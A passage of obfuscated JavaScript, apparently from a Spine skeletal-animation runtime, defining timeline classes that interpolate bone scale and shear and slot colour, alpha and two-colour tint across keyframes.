_0x2e452b = Math['abs'](_0x54901e['scaleY']) * _0xbc125['signum'](_0x5ce64b), _0x54901e['scaleX'] = _0x56bb45 + (_0x4b4f8b - _0x56bb45) * _0x245bba, _0x54901e['scaleY'] = _0x2e452b + (_0x5ce64b - _0x2e452b) * _0x245bba; break; case 0x3: _0x54901e['scaleX'] += (_0x4b4f8b - _0x54901e['data']['scaleX']) * _0x245bba, _0x54901e['scaleY'] += (_0x5ce64b - _0x54901e['data']['scaleY']) * _0x245bba; } } } }, _0x20a45a = class extends _0x2691fc { constructor(_0x1eab2b, _0xf8caae, _0x245ef3) { super(_0x1eab2b, _0xf8caae, _0x2cb0e5 + '|' + _0x245ef3), this['boneIndex'] = 0x0, this['boneIndex'] = _0x245ef3; } ['apply'](_0x431599, _0x3eebdd, _0x6e614b, _0x11f287, _0x4b5a4b, _0xced210, _0x18d3ee) { let _0x470939 = _0x431599['bones'][this['boneIndex']]; if (!_0x470939['active']) return; if (_0x6e614b < this['frames'][0x0]) { switch (_0xced210) { case 0x0: return void (_0x470939['scaleX'] = _0x470939['data']['scaleX']); case 0x1: _0x470939['scaleX'] += (_0x470939['data']['scaleX'] - _0x470939['scaleX']) * _0x4b5a4b; }return; } let _0x57aaf3 = this['getCurveValue'](_0x6e614b) * _0x470939['data']['scaleX']; if (0x1 == _0x4b5a4b) 0x3 == _0xced210 ? _0x470939['scaleX'] += _0x57aaf3 - _0x470939['data']['scaleX'] : _0x470939['scaleX'] = _0x57aaf3; else { let _0x22b5a8 = 0x0; if (0x1 == _0x18d3ee) switch (_0xced210) { case 0x0: _0x22b5a8 = _0x470939['data']['scaleX'], _0x470939['scaleX'] = _0x22b5a8 + (Math['abs'](_0x57aaf3) * _0xbc125['signum'](_0x22b5a8) - _0x22b5a8) * _0x4b5a4b; break; case 0x1: case 0x2: _0x22b5a8 = _0x470939['scaleX'], _0x470939['scaleX'] = _0x22b5a8 + (Math['abs'](_0x57aaf3) * _0xbc125['signum'](_0x22b5a8) - _0x22b5a8) * _0x4b5a4b; break; case 0x3: _0x470939['scaleX'] += (_0x57aaf3 - _0x470939['data']['scaleX']) * _0x4b5a4b; } else switch (_0xced210) { case 0x0: _0x22b5a8 = Math['abs'](_0x470939['data']['scaleX']) * _0xbc125['signum'](_0x57aaf3), _0x470939['scaleX'] = _0x22b5a8 + (_0x57aaf3 - _0x22b5a8) * _0x4b5a4b; break; case 0x1: case 0x2: _0x22b5a8 = Math['abs'](_0x470939['scaleX']) * _0xbc125['signum'](_0x57aaf3), _0x470939['scaleX'] = _0x22b5a8 + (_0x57aaf3 - _0x22b5a8) * _0x4b5a4b; break; case 0x3: _0x470939['scaleX'] += (_0x57aaf3 - _0x470939['data']['scaleX']) * _0x4b5a4b; } } } }, _0x692d7d = class extends _0x2691fc { constructor(_0x1d7269, _0x8528c0, _0x4e783c) { super(_0x1d7269, _0x8528c0, _0x45c737 + '|' + _0x4e783c), this['boneIndex'] = 0x0, this['boneIndex'] = _0x4e783c; } ['apply'](_0x5c0aa5, _0xd2c6e1, _0x126b60, _0x2b1b9c, _0x253ab9, _0x5ada53, _0x56acc1) { let _0x235b94 = _0x5c0aa5['bones'][this['boneIndex']]; if (!_0x235b94['active']) return; if (_0x126b60 < this['frames'][0x0]) { switch (_0x5ada53) { case 0x0: return void (_0x235b94['scaleY'] = _0x235b94['data']['scaleY']); case 0x1: _0x235b94['scaleY'] += (_0x235b94['data']['scaleY'] - _0x235b94['scaleY']) * _0x253ab9; }return; } let _0x261564 = this['getCurveValue'](_0x126b60) * _0x235b94['data']['scaleY']; if (0x1 == _0x253ab9) 0x3 == _0x5ada53 ? _0x235b94['scaleY'] += _0x261564 - _0x235b94['data']['scaleY'] : _0x235b94['scaleY'] = _0x261564; else { let _0x25c06a = 0x0; if (0x1 == _0x56acc1) switch (_0x5ada53) { case 0x0: _0x25c06a = _0x235b94['data']['scaleY'], _0x235b94['scaleY'] = _0x25c06a + (Math['abs'](_0x261564) * _0xbc125['signum'](_0x25c06a) - _0x25c06a) * _0x253ab9; break; case 0x1: case 0x2: _0x25c06a = _0x235b94['scaleY'], _0x235b94['scaleY'] = _0x25c06a + (Math['abs'](_0x261564) * _0xbc125['signum'](_0x25c06a) - _0x25c06a) * _0x253ab9; break; case 0x3: _0x235b94['scaleY'] += (_0x261564 - _0x235b94['data']['scaleY']) * _0x253ab9; } else switch (_0x5ada53) { case 0x0: _0x25c06a = Math['abs'](_0x235b94['data']['scaleY']) * _0xbc125['signum'](_0x261564), _0x235b94['scaleY'] = _0x25c06a + (_0x261564 - _0x25c06a) * _0x253ab9; break; case 0x1: case 0x2: _0x25c06a = Math['abs'](_0x235b94['scaleY']) * _0xbc125['signum'](_0x261564), _0x235b94['scaleY'] = _0x25c06a + (_0x261564 - _0x25c06a) * _0x253ab9; break; case 0x3: _0x235b94['scaleY'] += (_0x261564 - _0x235b94['data']['scaleY']) * _0x253ab9; } } } }, _0x497e46 = class extends _0x402db1 { constructor(_0x39604a, _0x396493, _0x2bf8fc) { super(_0x39604a, _0x396493, _0x1833a1 + '|' + _0x2bf8fc, _0x571531 + '|' + _0x2bf8fc), this['boneIndex'] = 0x0, this['boneIndex'] = _0x2bf8fc; } ['apply'](_0x1c8c17, _0x2d05fe, _0x26e003, _0x5bc6cd, _0x547e0a, _0x3124fb, _0x1fa5e3) { let _0x3243bd = _0x1c8c17['bones'][this['boneIndex']]; if (!_0x3243bd['active']) return; let _0x342e08 = this['frames']; if (_0x26e003 < _0x342e08[0x0]) { switch (_0x3124fb) { case 0x0: return _0x3243bd['shearX'] = _0x3243bd['data']['shearX'], void (_0x3243bd['shearY'] = _0x3243bd['data']['shearY']); case 0x1: _0x3243bd['shearX'] += (_0x3243bd['data']['shearX'] - _0x3243bd['shearX']) * _0x547e0a, _0x3243bd['shearY'] += (_0x3243bd['data']['shearY'] - _0x3243bd['shearY']) * _0x547e0a; }return; } let _0x23d617 = 0x0, _0x4168be = 0x0, _0xfa96a = _0x477107['search'](_0x342e08, _0x26e003, 0x3), _0x5ebb18 = this['curves'][_0xfa96a / 0x3]; switch (_0x5ebb18) { case 0x0: let _0x4031c5 = _0x342e08[_0xfa96a]; _0x23d617 = _0x342e08[_0xfa96a + 0x1], _0x4168be = _0x342e08[_0xfa96a + 0x2]; let _0x42dda0 = (_0x26e003 - _0x4031c5) / (_0x342e08[_0xfa96a + 0x3] - _0x4031c5); _0x23d617 += (_0x342e08[_0xfa96a + 0x3 + 0x1] - _0x23d617) * _0x42dda0, _0x4168be += (_0x342e08[_0xfa96a + 0x3 + 0x2] - _0x4168be) * _0x42dda0; break; case 0x1: _0x23d617 = _0x342e08[_0xfa96a + 0x1], _0x4168be = _0x342e08[_0xfa96a + 0x2]; break; default: _0x23d617 = this['getBezierValue'](_0x26e003, _0xfa96a, 0x1, _0x5ebb18 - 0x2), _0x4168be = this['getBezierValue'](_0x26e003, _0xfa96a, 0x2, _0x5ebb18 + 0x12 - 0x2); }switch (_0x3124fb) { case 0x0: _0x3243bd['shearX'] = _0x3243bd['data']['shearX'] + _0x23d617 * _0x547e0a, _0x3243bd['shearY'] = _0x3243bd['data']['shearY'] + _0x4168be * _0x547e0a; break; case 0x1: case 0x2: _0x3243bd['shearX'] += (_0x3243bd['data']['shearX'] + _0x23d617 - _0x3243bd['shearX']) * _0x547e0a, _0x3243bd['shearY'] += (_0x3243bd['data']['shearY'] + _0x4168be - _0x3243bd['shearY']) * _0x547e0a; break; case 0x3: _0x3243bd['shearX'] += _0x23d617 * _0x547e0a, _0x3243bd['shearY'] += _0x4168be * _0x547e0a; } } }, _0x7108a2 = class extends _0x2691fc { constructor(_0x4591f5, _0x38297c, _0x30f478) { super(_0x4591f5, _0x38297c, _0x1833a1 + '|' + _0x30f478), this['boneIndex'] = 0x0, this['boneIndex'] = _0x30f478; } ['apply'](_0x3124d4, _0x71c609, _0x24f44c, _0x41d80b, _0xf89ab3, _0x3f9fe1, _0x2424c7) { let _0x38d498 = _0x3124d4['bones'][this['boneIndex']]; if (!_0x38d498['active']) return; if (_0x24f44c < this['frames'][0x0]) { switch (_0x3f9fe1) { case 0x0: return void (_0x38d498['shearX'] = _0x38d498['data']['shearX']); case 0x1: _0x38d498['shearX'] += (_0x38d498['data']['shearX'] - _0x38d498['shearX']) * _0xf89ab3; }return; } let _0x3920aa = this['getCurveValue'](_0x24f44c); switch (_0x3f9fe1) { case 0x0: _0x38d498['shearX'] = _0x38d498['data']['shearX'] + _0x3920aa * _0xf89ab3; break; case 0x1: case 0x2: _0x38d498['shearX'] += (_0x38d498['data']['shearX'] + _0x3920aa - _0x38d498['shearX']) * _0xf89ab3; break; case 0x3: _0x38d498['shearX'] += _0x3920aa * _0xf89ab3; } } }, _0x2f5da0 = class extends _0x2691fc { constructor(_0x47a95f, _0x54fa31, _0x16a40c) { super(_0x47a95f, _0x54fa31, _0x571531 + '|' + _0x16a40c), this['boneIndex'] = 0x0, this['boneIndex'] = _0x16a40c; } ['apply'](_0x18c65c, _0x192e90, _0xf891ef, _0x2b6512, _0x949d7b, _0x5521d7, _0x52ab44) { let _0x1c2547 = _0x18c65c['bones'][this['boneIndex']]; if (!_0x1c2547['active']) return; if (_0xf891ef < this['frames'][0x0]) { switch (_0x5521d7) { case 0x0: return void (_0x1c2547['shearY'] = _0x1c2547['data']['shearY']); case 0x1: _0x1c2547['shearY'] += (_0x1c2547['data']['shearY'] - _0x1c2547['shearY']) * _0x949d7b; }return; } let _0x412d22 = this['getCurveValue'](_0xf891ef); switch (_0x5521d7) { case 0x0: _0x1c2547['shearY'] = _0x1c2547['data']['shearY'] + _0x412d22 * _0x949d7b; break; case 0x1: case 0x2: _0x1c2547['shearY'] += (_0x1c2547['data']['shearY'] + _0x412d22 - _0x1c2547['shearY']) * _0x949d7b; break; case 0x3: _0x1c2547['shearY'] += _0x412d22 * _0x949d7b; } } }, _0x1c6845 = class extends _0x4695f1 { constructor(_0x31e604, _0x26f491, _0x3f5905) { super(_0x31e604, _0x26f491, [_0x431d0d + '|' + _0x3f5905, _0x9c7dbc + '|' + _0x3f5905]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x3f5905; } ['getFrameEntries']() { return 0x5; } ['setFrame'](_0x233d5c, _0x4af9e2, _0x1e0925, _0x265648, _0x5d5922, _0x1d26f5) { _0x233d5c *= 0x5, this['frames'][_0x233d5c] = _0x4af9e2, this['frames'][_0x233d5c + 0x1] = _0x1e0925, this['frames'][_0x233d5c + 0x2] = _0x265648, this['frames'][_0x233d5c + 0x3] = _0x5d5922, this['frames'][_0x233d5c + 0x4] = _0x1d26f5; } ['apply'](_0x285787, _0x27a3f9, _0x2fb13d, _0x376303, _0x39ad98, _0x2e8a10, _0x51e45b) { let _0xe6b77e = _0x285787['slots'][this['slotIndex']]; if (!_0xe6b77e['bone']['active']) return; let _0x247a78 = this['frames'], _0x4fe85b = _0xe6b77e['color']; if (_0x2fb13d < _0x247a78[0x0]) { let _0x358269 = _0xe6b77e['data']['color']; switch (_0x2e8a10) { case 0x0: return void _0x4fe85b['setFromColor'](_0x358269); case 0x1: _0x4fe85b['add']((_0x358269['r'] - _0x4fe85b['r']) * _0x39ad98, (_0x358269['g'] - _0x4fe85b['g']) * _0x39ad98, (_0x358269['b'] - _0x4fe85b['b']) * _0x39ad98, (_0x358269['a'] - _0x4fe85b['a']) * _0x39ad98); }return; } let _0x3ec089 = 0x0, _0x347e36 = 0x0, _0x34e4d8 = 0x0, _0x5c7e26 = 0x0, _0x29834f = _0x477107['search'](_0x247a78, _0x2fb13d, 0x5), _0x45bae4 = this['curves'][_0x29834f / 0x5]; switch (_0x45bae4) { case 0x0: let _0x312525 = _0x247a78[_0x29834f]; _0x3ec089 = _0x247a78[_0x29834f + 0x1], _0x347e36 = _0x247a78[_0x29834f + 0x2], _0x34e4d8 = _0x247a78[_0x29834f + 0x3], _0x5c7e26 = _0x247a78[_0x29834f + 0x4]; let _0x1fa00f = (_0x2fb13d - _0x312525) / (_0x247a78[_0x29834f + 0x5] - _0x312525); _0x3ec089 += (_0x247a78[_0x29834f + 0x5 + 0x1] - _0x3ec089) * _0x1fa00f, _0x347e36 += (_0x247a78[_0x29834f + 0x5 + 0x2] - _0x347e36) * _0x1fa00f, _0x34e4d8 += (_0x247a78[_0x29834f + 0x5 + 0x3] - _0x34e4d8) * _0x1fa00f, _0x5c7e26 += (_0x247a78[_0x29834f + 0x5 + 0x4] - _0x5c7e26) * _0x1fa00f; break; case 0x1: _0x3ec089 = _0x247a78[_0x29834f + 0x1], _0x347e36 = _0x247a78[_0x29834f + 0x2], _0x34e4d8 = _0x247a78[_0x29834f + 0x3], _0x5c7e26 = _0x247a78[_0x29834f + 0x4]; break; default: _0x3ec089 = this['getBezierValue'](_0x2fb13d, _0x29834f, 0x1, _0x45bae4 - 0x2), _0x347e36 = this['getBezierValue'](_0x2fb13d, _0x29834f, 0x2, _0x45bae4 + 0x12 - 0x2), _0x34e4d8 = this['getBezierValue'](_0x2fb13d, _0x29834f, 0x3, _0x45bae4 + 0x24 - 0x2), _0x5c7e26 = this['getBezierValue'](_0x2fb13d, _0x29834f, 0x4, _0x45bae4 + 0x36 - 0x2); }0x1 == _0x39ad98 ? _0x4fe85b['set'](_0x3ec089, _0x347e36, _0x34e4d8, _0x5c7e26) : (0x0 == _0x2e8a10 && _0x4fe85b['setFromColor'](_0xe6b77e['data']['color']), _0x4fe85b['add']((_0x3ec089 - _0x4fe85b['r']) * _0x39ad98, (_0x347e36 - _0x4fe85b['g']) * _0x39ad98, (_0x34e4d8 - _0x4fe85b['b']) * _0x39ad98, (_0x5c7e26 - _0x4fe85b['a']) * _0x39ad98)); } }, _0xe2f048 = class extends _0x4695f1 { constructor(_0x5ecc8b, _0x534748, _0x137d2d) { super(_0x5ecc8b, _0x534748, [_0x431d0d + '|' + _0x137d2d]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x137d2d; } ['getFrameEntries']() { return 0x4; } ['setFrame'](_0x36006e, _0x149b83, _0x5a6138, _0x322ff7, _0x15c041) { _0x36006e <<= 0x2, this['frames'][_0x36006e] = _0x149b83, this['frames'][_0x36006e + 0x1] = _0x5a6138, this['frames'][_0x36006e + 0x2] = _0x322ff7, this['frames'][_0x36006e + 0x3] = _0x15c041; } ['apply'](_0x42f878, _0x4e3b84, _0x3bdff9, _0x4a9a03, _0x53af6a, _0x4fb83b, _0x14500e) { let _0x4688a6 = _0x42f878['slots'][this['slotIndex']]; if (!_0x4688a6['bone']['active']) return; let _0x3346e7 = this['frames'], _0x2d3f35 = _0x4688a6['color']; if (_0x3bdff9 < _0x3346e7[0x0]) { let _0x19ec48 = _0x4688a6['data']['color']; switch (_0x4fb83b) { case 0x0: return _0x2d3f35['r'] = _0x19ec48['r'], _0x2d3f35['g'] = _0x19ec48['g'], void (_0x2d3f35['b'] = _0x19ec48['b']); case 0x1: _0x2d3f35['r'] += (_0x19ec48['r'] - _0x2d3f35['r']) * _0x53af6a, _0x2d3f35['g'] += (_0x19ec48['g'] - _0x2d3f35['g']) * _0x53af6a, _0x2d3f35['b'] += (_0x19ec48['b'] - _0x2d3f35['b']) * _0x53af6a; }return; } let _0x3e21d2 = 0x0, _0xfbfc2 = 0x0, _0x54f758 = 0x0, _0xd80985 = _0x477107['search'](_0x3346e7, _0x3bdff9, 0x4), _0x553c3b = this['curves'][_0xd80985 >> 0x2]; switch (_0x553c3b) { case 0x0: let _0x227510 = _0x3346e7[_0xd80985]; _0x3e21d2 = _0x3346e7[_0xd80985 + 0x1], _0xfbfc2 = _0x3346e7[_0xd80985 + 0x2], _0x54f758 = _0x3346e7[_0xd80985 + 0x3]; let _0x5dcb90 = (_0x3bdff9 - _0x227510) / (_0x3346e7[_0xd80985 + 0x4] - _0x227510); _0x3e21d2 += (_0x3346e7[_0xd80985 + 0x4 + 0x1] - _0x3e21d2) * _0x5dcb90, _0xfbfc2 += (_0x3346e7[_0xd80985 + 0x4 + 0x2] - _0xfbfc2) * _0x5dcb90, _0x54f758 += (_0x3346e7[_0xd80985 + 0x4 + 0x3] - _0x54f758) * _0x5dcb90; break; case 0x1: _0x3e21d2 = _0x3346e7[_0xd80985 + 0x1], _0xfbfc2 = _0x3346e7[_0xd80985 + 0x2], _0x54f758 = _0x3346e7[_0xd80985 + 0x3]; break; default: _0x3e21d2 = this['getBezierValue'](_0x3bdff9, _0xd80985, 0x1, _0x553c3b - 0x2), _0xfbfc2 = this['getBezierValue'](_0x3bdff9, _0xd80985, 0x2, _0x553c3b + 0x12 - 0x2), _0x54f758 = this['getBezierValue'](_0x3bdff9, _0xd80985, 0x3, _0x553c3b + 0x24 - 0x2); }if (0x1 == _0x53af6a) _0x2d3f35['r'] = _0x3e21d2, _0x2d3f35['g'] = _0xfbfc2, _0x2d3f35['b'] = _0x54f758; else { if (0x0 == _0x4fb83b) { let _0x4bc30b = _0x4688a6['data']['color']; _0x2d3f35['r'] = _0x4bc30b['r'], _0x2d3f35['g'] = _0x4bc30b['g'], _0x2d3f35['b'] = _0x4bc30b['b']; } _0x2d3f35['r'] += (_0x3e21d2 - _0x2d3f35['r']) * _0x53af6a, _0x2d3f35['g'] += (_0xfbfc2 - _0x2d3f35['g']) * _0x53af6a, _0x2d3f35['b'] += (_0x54f758 - _0x2d3f35['b']) * _0x53af6a; } } }, _0x2bdc46 = class extends _0x2691fc { constructor(_0x24c80c, _0x13f15c, _0x31e0df) { super(_0x24c80c, _0x13f15c, _0x9c7dbc + '|' + _0x31e0df), this['slotIndex'] = 0x0, this['slotIndex'] = _0x31e0df; } ['apply'](_0x12c5e9, _0x779f05, _0x3ca52e, _0xea22c5, _0x22d7c3, _0x5c8e61, _0x2ec687) { let _0x3e2d79 = _0x12c5e9['slots'][this['slotIndex']]; if (!_0x3e2d79['bone']['active']) return; let _0x13cc96 = _0x3e2d79['color']; if (_0x3ca52e < this['frames'][0x0]) { let _0x46e8c4 = _0x3e2d79['data']['color']; switch (_0x5c8e61) { case 0x0: return void (_0x13cc96['a'] = _0x46e8c4['a']); case 0x1: _0x13cc96['a'] += (_0x46e8c4['a'] - _0x13cc96['a']) * _0x22d7c3; }return; } let _0x1909d6 = this['getCurveValue'](_0x3ca52e); 0x1 == _0x22d7c3 ? _0x13cc96['a'] = _0x1909d6 : (0x0 == _0x5c8e61 && (_0x13cc96['a'] = _0x3e2d79['data']['color']['a']), _0x13cc96['a'] += (_0x1909d6 - _0x13cc96['a']) * _0x22d7c3); } }, _0x1a8cbe = class extends _0x4695f1 { constructor(_0x1905c2, _0x59e5e9, _0x175315) { super(_0x1905c2, _0x59e5e9, [_0x431d0d + '|' + _0x175315, _0x9c7dbc + '|' + _0x175315, _0x32bb32 + '|' + _0x175315]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x175315; } ['getFrameEntries']() { return 0x8; } ['setFrame'](_0x56ac93, _0x634ac0, _0x20f32f, _0x1ae5dc, _0x521aa3, _0xe298f, _0x2114f3, _0x27a10d, _0x235d2a) { _0x56ac93 <<= 0x3, this['frames'][_0x56ac93] = _0x634ac0, this['frames'][_0x56ac93 + 0x1] = _0x20f32f, this['frames'][_0x56ac93 + 0x2] = _0x1ae5dc, this['frames'][_0x56ac93 + 0x3] = _0x521aa3, this['frames'][_0x56ac93 + 0x4] = _0xe298f, this['frames'][_0x56ac93 + 0x5] = _0x2114f3, this['frames'][_0x56ac93 + 0x6] = _0x27a10d, this['frames'][_0x56ac93 + 0x7] = _0x235d2a; } ['apply'](_0x52ab31, _0xefcc2e, _0x4a5291, _0x5eee8d, _0x24ecfe, _0x171aa8, _0x1794b5) { let _0x55ea91 = _0x52ab31['slots'][this['slotIndex']]; if (!_0x55ea91['bone']['active']) return; let _0x366abd = this['frames'], _0x10287f = _0x55ea91['color'], _0x412358 = _0x55ea91['darkColor']; if (_0x4a5291 < _0x366abd[0x0]) { let _0x1fefad = _0x55ea91['data']['color'], _0xf0f7dd = _0x55ea91['data']['darkColor']; switch (_0x171aa8) { case 0x0: return _0x10287f['setFromColor'](_0x1fefad), _0x412358['r'] = _0xf0f7dd['r'], _0x412358['g'] = _0xf0f7dd['g'], void (_0x412358['b'] = _0xf0f7dd['b']); case 0x1: _0x10287f['add']((_0x1fefad['r'] - _0x10287f['r']) * _0x24ecfe, (_0x1fefad['g'] - _0x10287f['g']) * _0x24ecfe, (_0x1fefad['b'] - _0x10287f['b']) * _0x24ecfe, (_0x1fefad['a'] - _0x10287f['a']) * _0x24ecfe), _0x412358['r'] += (_0xf0f7dd['r'] - _0x412358['r']) * _0x24ecfe, _0x412358['g'] += (_0xf0f7dd['g'] - _0x412358['g']) * _0x24ecfe, _0x412358['b'] += (_0xf0f7dd['b'] - _0x412358['b']) * _0x24ecfe; }return; } let _0x5bb0af = 0x0, _0x51cf7a = 0x0, _0x3a5db4 = 0x0, _0x1ff521 = 0x0, _0x8c13bd = 0x0, _0x3285b2 = 0x0, _0x497139 = 0x0, _0x20fc17 = _0x477107['search'](_0x366abd, _0x4a5291, 0x8), _0xadf20d = this['curves'][_0x20fc17 >> 0x3]; switch (_0xadf20d) { case 0x0: let _0xf8ea11 = _0x366abd[_0x20fc17]; _0x5bb0af = _0x366abd[_0x20fc17 + 0x1], _0x51cf7a = _0x366abd[_0x20fc17 + 0x2], _0x3a5db4 = _0x366abd[_0x20fc17 + 0x3], _0x1ff521 = _0x366abd[_0x20fc17 + 0x4], _0x8c13bd = _0x366abd[_0x20fc17 + 0x5], _0x3285b2 = _0x366abd[_0x20fc17 + 0x6], _0x497139 = _0x366abd[_0x20fc17 + 0x7]; let _0x2f113c = (_0x4a5291 - _0xf8ea11) / (_0x366abd[_0x20fc17 + 0x8] - _0xf8ea11); _0x5bb0af += (_0x366abd[_0x20fc17 + 0x8 + 0x1] - _0x5bb0af) * _0x2f113c, _0x51cf7a += (_0x366abd[_0x20fc17 + 0x8 + 0x2] - _0x51cf7a) * _0x2f113c, _0x3a5db4 += (_0x366abd[_0x20fc17 + 0x8 + 0x3] - _0x3a5db4) * _0x2f113c, _0x1ff521 += (_0x366abd[_0x20fc17 + 0x8 + 0x4] - _0x1ff521) * _0x2f113c, _0x8c13bd += (_0x366abd[_0x20fc17 + 0x8 + 0x5] - _0x8c13bd) * _0x2f113c, _0x3285b2 += (_0x366abd[_0x20fc17 + 0x8 + 0x6] - _0x3285b2) * _0x2f113c, _0x497139 += (_0x366abd[_0x20fc17 + 0x8 + 0x7] - _0x497139) * _0x2f113c; break; case 0x1: _0x5bb0af = _0x366abd[_0x20fc17 + 0x1], _0x51cf7a = _0x366abd[_0x20fc17 + 0x2], _0x3a5db4 = _0x366abd[_0x20fc17 + 0x3], _0x1ff521 = _0x366abd[_0x20fc17 + 0x4], _0x8c13bd = _0x366abd[_0x20fc17 + 0x5], _0x3285b2 = _0x366abd[_0x20fc17 + 0x6], _0x497139 = _0x366abd[_0x20fc17 + 0x7]; break; default: _0x5bb0af = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x1, _0xadf20d - 0x2), _0x51cf7a = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x2, _0xadf20d + 0x12 - 0x2), _0x3a5db4 = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x3, _0xadf20d + 0x24 - 0x2), _0x1ff521 = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x4, _0xadf20d + 0x36 - 0x2), _0x8c13bd = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x5, _0xadf20d + 0x48 - 0x2), _0x3285b2 = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x6, _0xadf20d + 0x5a - 0x2), _0x497139 = this['getBezierValue'](_0x4a5291, _0x20fc17, 0x7, _0xadf20d + 0x6c - 0x2); }if (0x1 == _0x24ecfe) _0x10287f['set'](_0x5bb0af, _0x51cf7a, _0x3a5db4, _0x1ff521), _0x412358['r'] = _0x8c13bd, _0x412358['g'] = _0x3285b2, _0x412358['b'] = _0x497139; else { if (0x0 == _0x171aa8) { _0x10287f['setFromColor'](_0x55ea91['data']['color']); let _0x16273a = _0x55ea91['data']['darkColor']; _0x412358['r'] = _0x16273a['r'], _0x412358['g'] = _0x16273a['g'], _0x412358['b'] = _0x16273a['b']; } _0x10287f['add']((_0x5bb0af - _0x10287f['r']) * _0x24ecfe, (_0x51cf7a - _0x10287f['g']) * _0x24ecfe, (_0x3a5db4 - _0x10287f['b']) * _0x24ecfe, (_0x1ff521 - _0x10287f['a']) * _0x24ecfe), _0x412358['r'] += (_0x8c13bd - _0x412358['r']) * _0x24ecfe, _0x412358['g'] += (_0x3285b2 - _0x412358['g']) * _0x24ecfe, _0x412358['b'] += (_0x497139 - _0x412358['b']) * _0x24ecfe; } } }, _0x504db7 = class extends _0x4695f1 { constructor(_0x454025, _0xcdde10, _0x4cf79e) { super(_0x454025, _0xcdde10, [_0x431d0d + '|' + _0x4cf79e, _0x32bb32 + '|' + _0x4cf79e]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x4cf79e; } ['getFrameEntries']() { return 0x7; } ['setFrame'](_0xcd7809, _0x20eefa, _0x2d69fa, _0x4363df, _0x192a8f, _0x1656cb, _0xf80e46, _0x4481ef) { _0xcd7809 *= 0x7, this['frames'][_0xcd7809] = _0x20eefa, this['frames'][_0xcd7809 + 0x1] = _0x2d69fa, this['frames'][_0xcd7809 + 0x2] = _0x4363df, this['frames'][_0xcd7809 + 0x3] = _0x192a8f, this['frames'][_0xcd7809 + 0x4] = _0x1656cb, this['frames'][_0xcd7809 + 0x5] = _0xf80e46, this['frames'][_0xcd7809 + 0x6] = _0x4481ef; } ['apply'](_0x3d6f4f, _0x4f20d2, _0x455b85, _0x3ce1de, _0x52ea25, _0x54f256, _0x615e56) { let _0xed32f7 = _0x3d6f4f['slots'][this['slotIndex']]; if (!_0xed32f7['bone']['active']) return; let _0x3f59bd = this['frames'], _0x56f2bb = _0xed32f7['color'], _0x1c45dd = _0xed32f7['darkColor']; if (_0x455b85 < _0x3f59bd[0x0]) { let _0x37443a = _0xed32f7['data']['color'], _0x1ba9af = _0xed32f7['data']['darkColor']; switch (_0x54f256) { case 0x0: return _0x56f2bb['r'] = _0x37443a['r'], _0x56f2bb['g'] = _0x37443a['g'], _0x56f2bb['b'] = _0x37443a['b'], _0x1c45dd['r'] = _0x1ba9af['r'], _0x1c45dd['g'] = _0x1ba9af['g'], void (_0x1c45dd['b'] = _0x1ba9af['b']); case 0x1: _0x56f2bb['r'] += (_0x37443a['r'] - _0x56f2bb['r']) * _0x52ea25, _0x56f2bb['g'] += (_0x37443a['g'] - _0x56f2bb['g']) * _0x52ea25, _0x56f2bb['b'] += (_0x37443a['b'] - _0x56f2bb['b']) * _0x52ea25, _0x1c45dd['r'] += (_0x1ba9af['r'] - _0x1c45dd['r']) * _0x52ea25, _0x1c45dd['g'] += (_0x1ba9af['g'] - _0x1c45dd['g']) * _0x52ea25, _0x1c45dd['b'] += (_0x1ba9af['b'] - _0x1c45dd['b']) * _0x52ea25; }return; } let _0x2103cd = 0x0, _0x5231a1 = 0x0, _0x52ee14 = 0x0, _0x152df8 = 0x0, _0x517ae4 = 0x0, _0x4c261d = 0x0, _0x1484ee = _0x477107['search'](_0x3f59bd, _0x455b85, 0x7), _0x18232e = this['curves'][_0x1484ee / 0x7]; switch (_0x18232e) { case 0x0: let _0x3bfe38 = _0x3f59bd[_0x1484ee]; _0x2103cd = _0x3f59bd[_0x1484ee + 0x1], _0x5231a1 = _0x3f59bd[_0x1484ee + 0x2], _0x52ee14 = _0x3f59bd[_0x1484ee + 0x3], _0x152df8 = _0x3f59bd[_0x1484ee + 0x4], _0x517ae4 = _0x3f59bd[_0x1484ee + 0x5], _0x4c261d = _0x3f59bd[_0x1484ee + 0x6]; let _0xb9eeb9 = (_0x455b85 - _0x3bfe38) / (_0x3f59bd[_0x1484ee + 0x7] - _0x3bfe38); _0x2103cd += (_0x3f59bd[_0x1484ee + 0x7 + 0x1] - _0x2103cd) * _0xb9eeb9, _0x5231a1 += (_0x3f59bd[_0x1484ee + 0x7 + 0x2] - _0x5231a1) * _0xb9eeb9, _0x52ee14 += (_0x3f59bd[_0x1484ee + 0x7 + 0x3] - _0x52ee14) * _0xb9eeb9, _0x152df8 += (_0x3f59bd[_0x1484ee + 0x7 + 0x4] - _0x152df8) * _0xb9eeb9, _0x517ae4 += (_0x3f59bd[_0x1484ee + 0x7 + 0x5] - _0x517ae4) * _0xb9eeb9, _0x4c261d += (_0x3f59bd[_0x1484ee + 0x7 + 0x6] - _0x4c261d) * _0xb9eeb9; break; case 0x1: _0x2103cd = _0x3f59bd[_0x1484ee + 0x1], _0x5231a1 = _0x3f59bd[_0x1484ee + 0x2], _0x52ee14 = _0x3f59bd[_0x1484ee + 0x3], _0x152df8 = _0x3f59bd[_0x1484ee + 0x4], _0x517ae4 = _0x3f59bd[_0x1484ee + 0x5], _0x4c261d = _0x3f59bd[_0x1484ee + 0x6]; break; default: _0x2103cd = this['getBezierValue'](_0x455b85, _0x1484ee, 0x1, _0x18232e - 0x2), _0x5231a1 = this['getBezierValue'](_0x455b85, _0x1484ee, 0x2, _0x18232e + 0x12 - 0x2), _0x52ee14 = this['getBezierValue'](_0x455b85, _0x1484ee, 0x3, _0x18232e + 0x24 - 0x2), _0x152df8 = this['getBezierValue'](_0x455b85, _0x1484ee, 0x4, _0x18232e + 0x36 - 0x2), _0x517ae4 = this['getBezierValue'](_0x455b85, _0x1484ee, 0x5, _0x18232e + 0x48 - 0x2), _0x4c261d = this['getBezierValue'](_0x455b85, _0x1484ee, 0x6, _0x18232e + 0x5a - 0x2); }if (0x1 == _0x52ea25) _0x56f2bb['r'] = _0x2103cd, _0x56f2bb['g'] = _0x5231a1, 